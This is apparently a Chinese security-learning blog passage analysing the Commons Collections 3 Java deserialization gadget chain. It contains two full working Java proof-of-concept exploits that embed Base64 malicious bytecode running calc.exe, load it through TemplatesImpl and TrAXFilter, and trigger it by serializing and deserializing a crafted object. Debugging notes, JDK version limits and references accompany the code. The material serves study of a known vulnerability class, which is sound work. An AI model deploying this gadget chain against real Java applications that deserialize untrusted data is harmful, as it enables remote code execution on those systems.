https://github.com/phith0n/JavaThings/blob/master/general/src/main/java/com/govuln/deserialization/CommonsCollections3.java
Map innerMap = new HashMap();
innerMap.put("value","xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
// outerMap.put("test", "xxxx");
az,,它竟然偷偷换成了 innerMap
。。。我还回去看了。之前用的都是 outerMap.put
。。
我吐了呀,,,,也不知道为什么啊,,,
2.6 弹计算器的Good-POC
package aa;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.xalan.xsltc.trax.TrAXFilter;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class cc3test {
public static void main(String[] args) throws Exception {
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA4ADwcAHAwAHQAeAQAIY2FsYy5leGUMAB8AIAEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAA8ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAUAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
TemplatesImpl templates = new TemplatesImpl();
setFieldVaule(templates, "_bytecodes", new byte[][]{bytes});
setFieldVaule(templates, "_name", "adam");
setFieldVaule(templates, "_tfactory", new TransformerFactoryImpl());
// fake的
Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates}
)
};
// Transformer transformerChain = new ChainedTransformer(transformers);
//先使用fake
Transformer transformerChain = new ChainedTransformer(faketransformers);
Map innerMap = new HashMap();
innerMap.put("value","xxxx");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
// outerMap.put("test", "xxxx");
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
//换为真的
setFieldVaule(transformerChain,"iTransformers",transformers);
byte[] bytes1 = serialize(handler);
System.out.println(new String(bytes1));
unserialize(bytes1);
}
private static void unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes); // 这个是写入,自然是先流进来的。所以它要有参数
ObjectInputStream ois = new ObjectInputStream(bais);//将流进行反序列化的,所以需要流流入,所以他需要一个参数
ois.readObject();
}
private static byte[] serialize(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();//输出的,数据流入它,所以它是作为其他流的输入的。它最后是输出用的
// 这里是用 ByteArrayOutputStram()来盛放。
ObjectOutputStream oos = new ObjectOutputStream(baos);//ObjectOutputStram(new FileOutputStream)一定要有一个输出兑现,他要把生成的字节给一个东西放着,
oos.writeObject(o);
return baos.toByteArray();
}
private static void setFieldVaule(Object obj,String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
好,再跟着 debug 一遍看看。
和CC1-上分析Anno那个几乎一样了。这里直接找到这里了。
进入 var5
,也就是 MapEntry
的 setValue
。
进入TransformedMap
的chechSetValue()
而后进入ChainedTransformer
的transform()
,然后后面就是这么一系列的了
唯独不同的是这里,不是Invoktransform
了,变成这个InstantiateTransformer
了
InstantiateTransformer
的transform()
直接调用TrAXFilter
的构造器,然后 newInstance()
,并且传入的参数
参数iArgs
正好是我们构造的 恶意字节码
进到TrAXFilter
的构造函数,有了
ojbk~
2.7 版本限制,还是8u71之前的。
我上面用的是 8u40
。
3. 关于去掉 _tfactory
摘自 feng
师傅:
我们把这一行去掉也是能够执行的
//setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
记得当时在利用 TemplatesImp
动态加载字节码的时候说过,如果不设置值的话,调用newTransformer()
后买你的调用链会出现异常,
因为在null
上面调用了方法
随后我在Y4师傅的文章中看到了这么一句话:
扣个小细节
_tfactory
我个人觉得可以不用加上,但可能是大师傅觉得加上这个减少报错条件,现在太菜了还是猜不透加这个原因,毕竟与这个相关的调用也在我们弹出计算器之后了
feng师傅先是想一下 _tfactory
是不是可序列化的,然后查看了父类和接口类,发现都不是
private transient TransformerFactoryImpl _tfactory = null;
然后发现是 transient
,瞬态属性,本身就不进行序列化,而且在TemplatesImpl
的readObject()
方法中
private void readObject(ObjectInputStream is)
throws IOException, ClassNotFoundException
{
SecurityManager security = System.getSecurityManager();
if (security != null){
String temp = SecuritySupport.getSystemProperty(DESERIALIZE_TRANSLET);
if (temp == null || !(temp.length()==0 || temp.equalsIgnoreCase("true"))) {
ErrorMsg err = new ErrorMsg(ErrorMsg.DESERIALIZE_TRANSLET_ERR);
throw new UnsupportedOperationException(err.toString());
}
}
// We have to read serialized fields first.
ObjectInputStream.GetField gf = is.readFields();
_name = (String)gf.get("_name", null);
_bytecodes = (byte[][])gf.get("_bytecodes", null);
_class = (Class[])gf.get("_class", null);
_transletIndex = gf.get("_transletIndex", -1);
_outputProperties = (Properties)gf.get("_outputProperties", null);
_indentNumber = gf.get("_indentNumber", 0);
if (is.readBoolean()) {
_uriResolver = (URIResolver) is.readObject();
}
_tfactory = new TransformerFactoryImpl();
}
最后一行给这个属性初始化了:_tfactory = new TransformerFactoryImpl();
,因此也就是为什么后面的调用链不会抛出异常。
--------这种细节还是我所缺乏的,还是得慢慢学习。----------
feng师傅缺的话,,,那我是缺大发了。。。衰…
4.改进
4.1 改进的种类之说
哦哦好像分为这几种(前提是CC3加载恶意字节码:TrAXFilter
的利用的时候j进行改进的):
- 使用
TransformedMap
,这个就是CC1-上的那个方法。适用范围是8u71
- 使用
LazyMap
和AnnotationInvocationHandler
+ 动态代理,这个是CC1-下的那个方法。适用范围也是8u71
之前 - 使用
LazyMap
和TriedMapEntry
,这个就是CC6的那个方法。适用方法是 JDK全版本7 8 ,PS:全版本的意思是7和8嘛,,不是很明白,,
4.2 利用CC6进行改进
改进的,,明天看把,,溜了 0:26。
改进的话,是利用AnnotationInvocationHandler
的动态代理的方法,走它的invoke()
。刚又花了半个小时看CC1的动态代理,,我总是之前学的不扎实,,然后每次回看总能看到新的一些东西,,,只能说明我第一次学习的时候太混,没学透。/(ㄒoㄒ)/~~
不对,,,CC1是动态代理。CC6才是版本的提升,容我再回去看看CC6去。。。
made,最厉害的无版本限制的竟然没有用到 AnnotationInvocationHandler
和动态代理???奇奇怪怪真的是
那么提升的话,就要换 LazyMap
楼。用的是 TriedMapEntry
。
我就直接把上面的TransformedMap
直接换成了LazyMap
和TriedMapEntry
了
package aa;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.xalan.xsltc.trax.TrAXFilter;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class cc3test {
public static void main(String[] args) throws Exception {
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAA4ADwcAHAwAHQAeAQAIY2FsYy5leGUMAB8AIAEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAA8ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAUAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
TemplatesImpl templates = new TemplatesImpl();
setFieldVaule(templates, "_bytecodes", new byte[][]{bytes});
setFieldVaule(templates, "_name", "adam");
// setFieldVaule(templates, "_tfactory", new TransformerFactoryImpl());
// fake的
Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates}
)
};
// Transformer transformerChain = new ChainedTransformer(transformers);
//先使用fake
Transformer transformerChain = new ChainedTransformer(faketransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap,transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap,"adamkey");
Map map = new HashMap();
map.put(tme,"value");
outerMap.remove("adamkey");
//换为真的
setFieldVaule(transformerChain,"iTransformers",transformers);
byte[] bytes1 = serialize(map);
System.out.println(new String(bytes1));
unserialize(bytes1);
}
private static void unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes); // 这个是写入,自然是先流进来的。所以它要有参数
ObjectInputStream ois = new ObjectInputStream(bais);//将流进行反序列化的,所以需要流流入,所以他需要一个参数
ois.readObject();
}
private static byte[] serialize(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();//输出的,数据流入它,所以它是作为其他流的输入的。它最后是输出用的
// 这里是用 ByteArrayOutputStram()来盛放。
ObjectOutputStream oos = new ObjectOutputStream(baos);//ObjectOutputStram(new FileOutputStream)一定要有一个输出兑现,他要把生成的字节给一个东西放着,
oos.writeObject(o);
return baos.toByteArray();
}
private static void setFieldVaule(Object obj,String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
5. 参考
P神的源码:https://github.com/phith0n/JavaThings/blob/master/general/src/main/java/com/govuln/deserialization/CommonsCollections3.java
P神“《Java安全漫谈14》
Y4师傅:https://y4tacker.blog.csdn.net/article/details/119084222
feng师傅:https://ego00.blog.csdn.net/article/details/119780324